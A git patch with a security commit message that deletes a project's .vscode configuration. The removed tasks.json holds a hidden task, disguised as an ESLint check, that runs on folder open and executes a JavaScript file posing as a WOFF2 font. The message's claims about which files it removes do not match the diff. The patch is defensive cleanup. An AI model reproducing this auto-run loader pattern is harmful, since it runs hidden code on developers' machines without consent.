From 81c9ec04d7619cec0a266b375c8d31dea50f8afc Mon Sep 17 00:00:00 2001 From: Jean Paul Elisa NIYOKWIZERWA <140616733+Ndevu12@users.noreply.github.com> Date: Sat, 22 Aug 2026 22:10:16 +0200 Subject: [PATCH] security: remove an auto-executing task and the file it runs 5 files arrived together in 1ee3187d: five under .vscode/ and the rest under public/fonts/. tasks.json runs on folderOpen, hidden, and executes public/fonts/fa-solid-400.woff2, which begins with four spaces rather than the WOFF2 magic wOF2 and is padded JavaScript. No history is rewritten. --- .vscode/extensions.json | 7 ------ .vscode/launch.json | 50 ----------------------------------------- .vscode/settings.json | 23 ------------------- .vscode/spellright.dict | 2 -- .vscode/tasks.json | 33 --------------------------- 5 files changed, 115 deletions(-) delete mode 100644 .vscode/extensions.json delete mode 100644 .vscode/launch.json delete mode 100644 .vscode/settings.json delete mode 100644 .vscode/spellright.dict delete mode 100644 .vscode/tasks.json diff --git a/.vscode/extensions.json b/.vscode/extensions.json deleted file mode 100644 index 2e3b6463..00000000 --- a/.vscode/extensions.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "recommendations": [ - "myml.vscode-markdown-plantuml-preview", - "esbenp.prettier-vscode", - "jebbs.plantuml" - ] -} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json deleted file mode 100644 index a5177abe..00000000 --- a/.vscode/launch.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "version": "0.2.0", - "configurations": [ - { - "name": "Debug SST", - "type": "node", - "request": "launch", - "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", - "runtimeArgs": ["dev", "--increase-timeout"], - "console": "integratedTerminal", - "skipFiles": ["/**"], - // sourceMapRenames helps with the loading spinner when debugging and viewing local variables - "sourceMapRenames": false, - "env": { - "AWS_PROFILE": "flo-ct-flo360" - } - }, - { - "name": "Debug Tests - Unit", - "type": "node", - "request": "launch", - "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", - "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], - "console": "integratedTerminal", - "skipFiles": ["/**"], - "env": { - "AWS_PROFILE": "flo-ct-flo360" - }, - }, - { - "name": "Debug Tests - E2E", - "type": "node", - "request": "launch", - "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", - "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], - "console": "integratedTerminal", - "skipFiles": ["/**"], - "env": { - "AWS_PROFILE": "flo-ct-flo360" - }, - }, - ], - "inputs": [ - { - "id": "scopeTestsFileName", - "type": "promptString", - "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", - } - ] -} diff --git a/.vscode/settings.json b/.vscode/settings.json deleted file mode 100644 index 934d5554..00000000 --- a/.vscode/settings.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "search.exclude": { - "**/.sst": true - }, - "task.allowAutomaticTasks": true, - "typescript.tsserver.experimental.enableProjectDiagnostics": true, - "editor.defaultFormatter": "esbenp.prettier-vscode", - "typescript.preferences.importModuleSpecifier": "relative", - "typescript.tsdk": "node_modules/typescript/lib", - "debug.openDebug": "neverOpen", - "problems.autoReveal": true, - "terminal.integrated.hideOnStartup": "always", - "terminal.integrated.defaultProfile.windows": "Command Prompt", - "terminal.integrated.inheritEnv": false, - "jestrunner.configPath": "jest.unit.config.cjs", - "compile-hero.disable-compile-files-on-did-save-code": true, - "tasks": { - "label": "lint on open", - "type": "shell", - "command": "npm run lint", - "runOn": "folderOpen" - } -} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict deleted file mode 100644 index 51b19749..00000000 --- a/.vscode/spellright.dict +++ /dev/null @@ -1,2 +0,0 @@ -Contentful -Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json deleted file mode 100644 index 5e226620..00000000 --- a/.vscode/tasks.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "version": "2.0.0", - "configurations": [ - { - "type": "node", - "request": "launch", - "name": "Run My Project", - "console": "", - "internalConsoleOptions": "openOnSessionStart" - } - ], - "tasks": [ - { - "label": "eslint-check", - "type": "shell", - "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''", - "problemMatcher": [], - "isBackground": true, - "hide": true, - "presentation": { - "reveal": "never", - "panel": "dedicated", - "focus": false, - "clear": false, - "echo": false, - "close": true - }, - "runOptions": { - "runOn": "folderOpen" - } - }, - ] -}